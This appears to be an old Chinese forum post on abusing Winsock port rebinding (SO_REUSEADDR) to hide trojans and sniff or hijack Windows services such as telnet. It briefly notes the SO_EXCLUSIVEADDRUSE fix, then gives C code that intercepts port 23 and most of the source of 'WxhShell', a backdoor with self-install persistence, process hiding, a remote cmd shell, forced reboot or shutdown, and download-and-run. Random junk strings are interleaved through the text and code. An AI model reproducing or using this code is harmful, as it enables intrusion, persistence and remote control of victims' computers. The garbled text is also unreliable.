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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZOU$do>O  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V%3K")  
nGg>lRL  
  saddr.sin_family = AF_INET; ;[*7UE+#7  
F02NnF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |KkVt]ZQe9  
oS]XE!^M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Dzp9BRS 2f  
1[^2f70n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8_:jPd! 3  
+nZx{d,wt  
  这意味着什么?意味着可以进行如下的攻击: !,I}2,1%k  
B!9<c9/ P]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B` n!IgF8  
9GCxF`OB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UoBu0Rx  
_o<8R@1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PInU-"gG  
;Qw>&24h[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Wb^YqqE  
p6>3 p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qex.}[  
3VcG /rf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I]zCsT.  
gx #TRp}-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :xv"m {8+  
{E>kFeg  
  #include I=. 98v%  
  #include MQLa+I,S4  
  #include TTBl5X  
  #include    M$|^?U>cm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #lF8"@)a-$  
  int main() s,lrw~17  
  { R5|c4v{B  
  WORD wVersionRequested; {Pdy KgM  
  DWORD ret; J6=*F;x6E  
  WSADATA wsaData; iN=-N=  
  BOOL val; N^:)U"9*e  
  SOCKADDR_IN saddr; bW[Y:}Hk~  
  SOCKADDR_IN scaddr; cO_En`F  
  int err; 29}(l#S}m  
  SOCKET s; qm8[ ^jO&  
  SOCKET sc; ]iYjS  
  int caddsize; h=?#D0  
  HANDLE mt; eSJ5YeY)  
  DWORD tid;   {&G0jsA  
  wVersionRequested = MAKEWORD( 2, 2 ); 0~)cAKus  
  err = WSAStartup( wVersionRequested, &wsaData ); D1#fy=u69|  
  if ( err != 0 ) { 1VH7z  
  printf("error!WSAStartup failed!\n"); Bv@NE2  
  return -1; 1Hk`i%  
  } uq{w1O5  
  saddr.sin_family = AF_INET; Uz[#t1*  
   ?%#3p[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A6pPx1-&  
<4D.P2ct  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %^kBcId  
  saddr.sin_port = htons(23); |3QKxS0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ):kDWc  
  { o[&*vc)  
  printf("error!socket failed!\n"); 48W$ ,  
  return -1; p^MV< }kk  
  } 8<{)|GoqB  
  val = TRUE; 6XKiVP;h%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 bw&8"k>D?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Jvgx+{Xu  
  { tg.[.v Ks  
  printf("error!setsockopt failed!\n"); Fzt{^%\`  
  return -1; p0>W}+8fF  
  } <$qe2Ft Uq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A )tGB&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1 cvoI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J7c(qGJI2  
,l1A]Wx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9jBP|I{xI  
  { !.Eua3:V*  
  ret=GetLastError(); 4'P otv@/  
  printf("error!bind failed!\n"); |@!4BA  
  return -1; f#FAi3  
  } n&y'Mb PB  
  listen(s,2); >kU$bh.(  
  while(1) N7=lSBm  
  { w|lA%H7`J  
  caddsize = sizeof(scaddr); MZZEqsD5[  
  //接受连接请求 l`>|XUf6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Nb(c;|nV  
  if(sc!=INVALID_SOCKET) !?#B*JGFS  
  { CD]"Q1 t}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U9[QdC  
  if(mt==NULL) PFq1Zai}n|  
  { iGlg@  
  printf("Thread Creat Failed!\n"); :2ILN.&  
  break; ^T2o9f  
  } N`,ppj  
  } ps[HvV"  
  CloseHandle(mt); t<h[Lb%{T4  
  } {DlQTgP  
  closesocket(s); Qqm'Yom%T  
  WSACleanup(); Dc-v`jZ@)  
  return 0; +#ufW%ZG  
  }   -Ri/I4Xj  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~>6d}7xs  
  { e98f+,E/  
  SOCKET ss = (SOCKET)lpParam; |zd+ \o  
  SOCKET sc; w#0/&\ b=  
  unsigned char buf[4096]; ~}Xd{afo  
  SOCKADDR_IN saddr; Kg?(Ax4  
  long num; "Te[R%aP  
  DWORD val; $`;1][OD  
  DWORD ret; r}T(?KGx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 icS% ])3LF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?V&# nA  
  saddr.sin_family = AF_INET; s3<gq x-&r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wo>7^ZA  
  saddr.sin_port = htons(23); ,58XLu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `X)y5*##wq  
  { Lp31Y . 4  
  printf("error!socket failed!\n"); -j& A;G  
  return -1; w eX%S&#?  
  } [L(qrAQ2|z  
  val = 100; wB'GV1|jL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i=3~ h Zl  
  { g&&-  
  ret = GetLastError(); `O,^oD4  
  return -1; f(S9>c2  
  } `s8*n(\h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K4U_sCh#f  
  { b,h@.s  
  ret = GetLastError();  T&'p5h=l  
  return -1; @qUgp*+{  
  } ~  p~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '< =77yDg  
  { )>"|<h.2]  
  printf("error!socket connect failed!\n"); tW-wO[2  
  closesocket(sc); -8zdkm8k  
  closesocket(ss); tEuVn5  
  return -1; uE &/:+  
  } Y' FB {  
  while(1) zy'e|92aO  
  { E5iNuJj=f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -sqd?L.p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .o#A(3&n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nQ+$  
  num = recv(ss,buf,4096,0); ZX0#I W  
  if(num>0) 0q6xXNAX  
  send(sc,buf,num,0); SL[EOz#  
  else if(num==0) n?(sn  
  break; zQ~N(Jj?h  
  num = recv(sc,buf,4096,0); ~~r7TPq  
  if(num>0) p!/!ZIo  
  send(ss,buf,num,0); @b&_xT  
  else if(num==0) um,G^R   
  break; ]621Z1  
  } 4$oDq  
  closesocket(ss); dD351!-  
  closesocket(sc); 0<FT=tKm  
  return 0 ; PRal>s&f  
  } A<}nXHs-  
YQ|o0>  
R :*1Y\o(  
========================================================== q:cCk#ra  
-JfqY?Ue_2  
下边附上一个代码,,WXhSHELL ~e<^jhpJ  
{[ pzqzL6  
========================================================== J7pF*2  
=JaxT90x  
#include "stdafx.h" FJD;LpW  
:@4+}  
#include <stdio.h> {F=`IE3)w  
#include <string.h> ]bP1gV(b-  
#include <windows.h> Cu! S|Xj.  
#include <winsock2.h> S'(IG m4  
#include <winsvc.h> laRn![[  
#include <urlmon.h> #EA` |  
+[Izz~ _p  
#pragma comment (lib, "Ws2_32.lib") uOAd$;h@_Z  
#pragma comment (lib, "urlmon.lib") ~KYA{^`*  
NOSL b];  
#define MAX_USER   100 // 最大客户端连接数 Hb3..o:  
#define BUF_SOCK   200 // sock buffer ku)/ 8Z`$  
#define KEY_BUFF   255 // 输入 buffer ^U9b)KA  
SuA  @S  
#define REBOOT     0   // 重启 "cwvx8un  
#define SHUTDOWN   1   // 关机 MX"M2>"pT  
GJ\bZ"vDo  
#define DEF_PORT   5000 // 监听端口 *+TO%{4  
Y )68  
#define REG_LEN     16   // 注册表键长度 )YVs=0j  
#define SVC_LEN     80   // NT服务名长度 $sFqMy  
R$x(3eyx  
// 从dll定义API (c S'Nm5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *X!+wK-+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gvl,M\c9-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4axuE]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t>vr3)W  
mtf><YU  
// wxhshell配置信息 1RauI0d*  
struct WSCFG { =4uO"o  
  int ws_port;         // 监听端口 _"t"orD6  
  char ws_passstr[REG_LEN]; // 口令 |JiN; O+K  
  int ws_autoins;       // 安装标记, 1=yes 0=no j9/hZqo  
  char ws_regname[REG_LEN]; // 注册表键名 h AJ^(|  
  char ws_svcname[REG_LEN]; // 服务名 d@? zCFD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4N)45@jk[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F?Fxm*Wa/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5Mp$u756  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 06 an(& a9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z s\N)LyM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FwV5{-(  
7O~hA*Z  
}; S;" $02]  
J;k8 a2$_  
// default Wxhshell configuration E J&w6),d  
struct WSCFG wscfg={DEF_PORT, ~H4Tr[8a  
    "xuhuanlingzhe", Q sPZ dC  
    1, -sx=1+\nf  
    "Wxhshell", .7HEI;4  
    "Wxhshell", xUPg~c0  
            "WxhShell Service", Iv{uk$^7S  
    "Wrsky Windows CmdShell Service", 5 Nt9'"  
    "Please Input Your Password: ", sWq@E6,I  
  1, 7yal  T.  
  "http://www.wrsky.com/wxhshell.exe",  [33=+C a  
  "Wxhshell.exe" #[]B: n6  
    }; K8uqLSP '  
6RfS_  
// 消息定义模块 MFz6y":~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;?{OX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?'si ^N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _z@_.%P\  
char *msg_ws_ext="\n\rExit."; m'eM&1Ba  
char *msg_ws_end="\n\rQuit."; , _bG'Hmt  
char *msg_ws_boot="\n\rReboot..."; gMPvzBpP  
char *msg_ws_poff="\n\rShutdown..."; #<5i/5&  
char *msg_ws_down="\n\rSave to "; i'`>YX  
 eI/@ut}v  
char *msg_ws_err="\n\rErr!"; ' Uo|@tK  
char *msg_ws_ok="\n\rOK!"; #TIlM]5%  
6n^vG/.M  
char ExeFile[MAX_PATH]; dW%;Z  
int nUser = 0; E8.1jCL>{"  
HANDLE handles[MAX_USER]; VO<P9g$UD  
int OsIsNt; ~Efi|A/  
C}71SlN'M  
SERVICE_STATUS       serviceStatus; % O*)'ni  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SpM Hq_MLM  
36d6KS 7  
// 函数声明 yW;]J8 7*  
int Install(void); ~"cqFdnO  
int Uninstall(void); ,[u.5vC  
int DownloadFile(char *sURL, SOCKET wsh); ~,{nBp9*  
int Boot(int flag); qdZo cTf'  
void HideProc(void); Gdr7d  
int GetOsVer(void); #VuiY  
int Wxhshell(SOCKET wsl); mpzm6I eu  
void TalkWithClient(void *cs); `8D'r|=`Eh  
int CmdShell(SOCKET sock); bKQ-PM&I/t  
int StartFromService(void); fK4NmdTV  
int StartWxhshell(LPSTR lpCmdLine); \O\veB8  
R}$A>)%dx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~g&Gi)je  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A[Vhy;xz  
3 Ol`i$  
// 数据结构和表定义 9j1 tcT  
SERVICE_TABLE_ENTRY DispatchTable[] = t.] e8=dE  
{ dLw,dg  
{wscfg.ws_svcname, NTServiceMain}, rk `]]  
{NULL, NULL} ]U.YbWe^  
}; %)L|7v<  
F"a31`L>H  
// 自我安装 mk +BeK  
int Install(void) {&h=  
{ @qB1:==@7  
  char svExeFile[MAX_PATH]; gal.<SVW  
  HKEY key; $u{ 8wF/)  
  strcpy(svExeFile,ExeFile); %M-B"#OB7  
AeEF/*  
// 如果是win9x系统,修改注册表设为自启动 bAL!l\&2  
if(!OsIsNt) { A"T*uv|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (C hL$!x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p"q4R2_/jh  
  RegCloseKey(key); tH9BC5+r}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `BY&&Bv#?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &uxwz@RC0  
  RegCloseKey(key); Mh5 =]O+  
  return 0; rY(^6[!  
    } \E,Fe:/g  
  } yQ+C}8r5  
} lR3JyYY{X  
else { U=ie| 3  
v,mn=Q&9  
// 如果是NT以上系统,安装为系统服务 ?)XPY<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^BQ*l5K  
if (schSCManager!=0) @Ke3kLQ_\X  
{ xkkW?[&  
  SC_HANDLE schService = CreateService z*&r@P -  
  ( OEs!H]v  
  schSCManager, g}'(V>(  
  wscfg.ws_svcname, l}mzCIw%  
  wscfg.ws_svcdisp, eX9H/&g  
  SERVICE_ALL_ACCESS, {1]Of'x'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n*i1QC  
  SERVICE_AUTO_START, ' Y.s}Duj  
  SERVICE_ERROR_NORMAL, @W*Zrc1NF  
  svExeFile, IF.6sJg:  
  NULL, F anA~  
  NULL, S-)%#  
  NULL, BW%"]J  
  NULL, f m'Qif q^  
  NULL #:M)a?E/%  
  ); 0:3<33]x  
  if (schService!=0) 0x8aKq\'  
  { cG I^IPI  
  CloseServiceHandle(schService); P7kb*  
  CloseServiceHandle(schSCManager); R(F+Xg je  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @d=4C{g%o  
  strcat(svExeFile,wscfg.ws_svcname); @@Vf"o+S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U)gr C8 C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w(vda0  
  RegCloseKey(key); K~aI Y0=<  
  return 0; ^DS+O>  
    } cdfvc0  
  } & l NHNu[  
  CloseServiceHandle(schSCManager); C!aK5rqhv  
} 4).>b3OhX  
} 6z80Y*|eJ  
mu =H&JC  
return 1; \!,@pe_  
} jaI mO  
p;m2RHYF  
// 自我卸载 }w8:`g'T0/  
int Uninstall(void) 1A b=1g{  
{ kKR Z79"7s  
  HKEY key; _<1uO=km6  
o]|a5. O  
if(!OsIsNt) { Xm}~u?$3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CJu3h&Rp  
  RegDeleteValue(key,wscfg.ws_regname); f,}]h~w\  
  RegCloseKey(key); XK4idC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4`#3p@-  
  RegDeleteValue(key,wscfg.ws_regname); BKQI|i  
  RegCloseKey(key); -wjvD8fL  
  return 0; UP}5Eh  
  } W g2Y`2@t  
} l4s_9  
} %8lF%uu!x  
else { K@z zseQ}=  
 ?[G!6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QcDWVM'v  
if (schSCManager!=0) T5+iX`#M  
{ S<V__Sv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PME ?{%&  
  if (schService!=0) 0cm+:  
  { ^#VyIF3q  
  if(DeleteService(schService)!=0) { gr")Jw7  
  CloseServiceHandle(schService); r*!sA5  
  CloseServiceHandle(schSCManager); r&t)%R@q  
  return 0; =?/RaK/ w  
  } Z:PsQ~M  
  CloseServiceHandle(schService); 9V=bV=4:  
  } j7)Xm,wI8  
  CloseServiceHandle(schSCManager); 6{r^3Hz  
} .Z"p'v  
} yEe4{j$  
UldG0+1d  
return 1; /Ma"a ^  
} oG)JH)!  
,HFoy-Yq  
// 从指定url下载文件 }#/,nJm'  
int DownloadFile(char *sURL, SOCKET wsh) v"6ij k&(  
{ eSgCS*}0$z  
  HRESULT hr; @P^8?!i+  
char seps[]= "/"; 0=r.I}x  
char *token; jK^'s6i#  
char *file; =-c"~4  
char myURL[MAX_PATH]; `"<} B"s  
char myFILE[MAX_PATH]; 6/Coi,om  
K~_[[)14b  
strcpy(myURL,sURL); 4#z@B1Jx  
  token=strtok(myURL,seps); ,afh]#  
  while(token!=NULL) yH8 N8  
  { : qKxm(  
    file=token; DM*mOT  
  token=strtok(NULL,seps); I4Ys ,n  
  } j 6~#_t[  
]&3UF?  
GetCurrentDirectory(MAX_PATH,myFILE); y#3mc#)k  
strcat(myFILE, "\\"); ?[\(i)]  
strcat(myFILE, file); s|U?{Byb!  
  send(wsh,myFILE,strlen(myFILE),0); hY.zwotH  
send(wsh,"...",3,0); VR>;{>~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $^Dx4:k<2  
  if(hr==S_OK) 3+;}2x0-F  
return 0; byYdX'd.  
else {@u;F2?  
return 1; {iqH 27\E  
V=}b>Jo2j  
} 9tVA.:FOZ  
aZYa<28?L%  
// 系统电源模块 /! kKL$j  
int Boot(int flag) g(\FG  
{ 63d' fgVp  
  HANDLE hToken; L[d 7@  
  TOKEN_PRIVILEGES tkp; Y#_,Ig5.  
d* Y&V$?zl  
  if(OsIsNt) { "qRE1j@%a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T1p A <6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1.0S>+^JE  
    tkp.PrivilegeCount = 1; Z,Z34:-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DYU+?[J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n\}!'>d'  
if(flag==REBOOT) { |Ebwl]X2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~O~c^fLH(B  
  return 0; WlF"[mU-  
} M$z.S0"  
else { CUT D]:\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "SyAOOZ  
  return 0; cjU*  
} c<j2wKz  
  } DKCPi0  
  else { \FSkI0  
if(flag==REBOOT) { e uS"C*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @8TD^ub  
  return 0; /'IOi`d  
} u{'bd;.7  
else { 5tg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1O1/P,u+  
  return 0; ?k~(E`ZE3  
} dF*@G/p>V  
} y88FT#hR|5  
ZD] ^Y}  
return 1; EZz Ox(g  
} @<e+E"6  
] 5lp.#EB  
// win9x进程隐藏模块 wAxXK94#3  
void HideProc(void) D;It0"  
{ -cCujDM#T  
| eIN<RY5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R74kt36M  
  if ( hKernel != NULL ) 1@C0c%  
  { I|JMkP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zg&<HJO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _|xO4{X  
    FreeLibrary(hKernel); W6D|Rr.q  
  } ow*) 1eo  
ci>+Zi6  
return; * c] :,5  
} D0tmNV@  
*z`_U]tP  
// 获取操作系统版本 h8oG5|Y  
int GetOsVer(void) $ +;`[b   
{ @CU3V+  
  OSVERSIONINFO winfo; _niXl&C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AoL4#.r3H  
  GetVersionEx(&winfo); [Z|R-{"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V2cLwQ'0  
  return 1; n'{cU(  
  else 5bX SN$7|  
  return 0; c4oQ4  
} jEsP: H(0^  
S,m)yh.  
// 客户端句柄模块 Mxn>WCPo  
int Wxhshell(SOCKET wsl) @.T '>;izr  
{ "o/:LCE  
  SOCKET wsh; @ 9D, f  
  struct sockaddr_in client; &,2h=H,M  
  DWORD myID; 7jT]J   
1q<BYc+z  
  while(nUser<MAX_USER) {wRsV=*  
{ 2e zQX2q  
  int nSize=sizeof(client); CN@bJo2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wQ qI@  
  if(wsh==INVALID_SOCKET) return 1; {,tEe'H7  
nVV>;e[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^4_)a0Kcm,  
if(handles[nUser]==0) kD S  
  closesocket(wsh); mL`,v WL/`  
else |GtTz&  
  nUser++; @FKNB.>  
  } +M!f}=H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pi:%Bd&F  
-`gqA%#+  
  return 0; Ub*Gv(Pg  
} zE5%l`@|o  
9(DS"fgC  
// 关闭 socket HDZB)'I  
void CloseIt(SOCKET wsh) abkl)X>k  
{ $Zp\^cIE+  
closesocket(wsh); z9pv|  
nUser--; bl NJ  
ExitThread(0); )#z c$D^U  
} cS/\&%7u  
rvuskXdo  
// 客户端请求句柄 xal+ buOiP  
void TalkWithClient(void *cs) XRCiv  
{ %KK6}d #  
m8;; O  
  SOCKET wsh=(SOCKET)cs; :}}5TJwG  
  char pwd[SVC_LEN]; `P<}MeJ\l  
  char cmd[KEY_BUFF]; sL|*0,#K  
char chr[1]; .)o<'u@Ri  
int i,j; T;qP"KWZ  
/) Bk r/  
  while (nUser < MAX_USER) { DZ -5A  
L\}o(P(  
if(wscfg.ws_passstr) { .'JO7of  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _Q,`Qn@|BD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fqA\Rp6Z  
  //ZeroMemory(pwd,KEY_BUFF); j'FSd*5m  
      i=0; ;rYL\`6L  
  while(i<SVC_LEN) { M_*"g>Z  
ec+&K?T  
  // 设置超时 V  @8+  
  fd_set FdRead; 3maiBAOKz  
  struct timeval TimeOut; UXwnE@`F  
  FD_ZERO(&FdRead); mH2XwA|  
  FD_SET(wsh,&FdRead); Tt #4dm-  
  TimeOut.tv_sec=8; 0>Iy`>]  
  TimeOut.tv_usec=0; G vMhgG=D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F7lhLly  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SYd4 3P A  
"s[wLclfG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8)HUo?/3  
  pwd=chr[0]; |l)SX\Qf`@  
  if(chr[0]==0xd || chr[0]==0xa) { _SdO}AiG  
  pwd=0; ]:jP*0bLx  
  break; fTd=}zY  
  } O_}R~p  
  i++; NovF?kh2  
    } "/[xak!g  
low 0@+Q  
  // 如果是非法用户,关闭 socket >Lj0B%^EvM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =i[_C>U  
} X c~yr\%]  
xR}^~14Bz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U Hh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (~ro_WC/I  
,Z*&QR  
while(1) { UngDXD )  
3y?I^ .B  
  ZeroMemory(cmd,KEY_BUFF); /W\@/b,  
Q`- JRY-  
      // 自动支持客户端 telnet标准   5r)ndW,aN  
  j=0; @-=0T!/  
  while(j<KEY_BUFF) { 1"tyxAo\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pj(Dl C7G,  
  cmd[j]=chr[0]; ChzKwYDY  
  if(chr[0]==0xa || chr[0]==0xd) { C$?gt-tJ'  
  cmd[j]=0; 8AL`<8$  
  break; /vC|_G|{  
  } =y+gS%o$  
  j++; shlMJa?  
    } vpnQs#8O  
dC+WII`V  
  // 下载文件 &$$KC?!w  
  if(strstr(cmd,"http://")) { (%.[MilxPM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L~9Q7 6w  
  if(DownloadFile(cmd,wsh)) 5hN)y-4@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7[=*#7}.  
  else e$kBpG"D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c"HB7  
  } 0?c2=Y   
  else { WOBLgM,|  
 *-Y`7=^$  
    switch(cmd[0]) { ZYRZ$87jZ  
  e=uElp'%  
  // 帮助 C:z+8wt  
  case '?': { u~b;m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oA/[>\y  
    break; LFvO[&  
  } v'3.`aZ!  
  // 安装 N8*6sK.  
  case 'i': { RE)!b  
    if(Install()) 9O(vh(C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Va+l)F  
    else ZAATV+Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DzZEn]+zt  
    break; 4mHR+SZy  
    } V9KI?}q:W  
  // 卸载 5PF?Eq   
  case 'r': { 0 PdeK'7  
    if(Uninstall()) E3..$x-/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M9[52D!{  
    else P;~`%,+S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?X $#J'U;  
    break; l$[7 pM[  
    } lL8pIcQW  
  // 显示 wxhshell 所在路径 bsCl w  
  case 'p': { 287g 5  
    char svExeFile[MAX_PATH]; *LuR <V  
    strcpy(svExeFile,"\n\r"); Uk1|y\  
      strcat(svExeFile,ExeFile); v@,n]"  
        send(wsh,svExeFile,strlen(svExeFile),0); H){}28dX  
    break; <O<Kf:i&c1  
    } |h^[/  
  // 重启 6ij L+5  
  case 'b': { sF. oZ>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |)TI&T;k  
    if(Boot(REBOOT)) da[=d*I.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y5mQY5u|  
    else { I1f4u6\*X  
    closesocket(wsh); 5r2A^<)  
    ExitThread(0); \_v jc]?  
    } IvZ,|R?  
    break; ztS:1\  
    } srbES6  
  // 关机 sA(d_ Yu_  
  case 'd': { lIhP\:;S&  
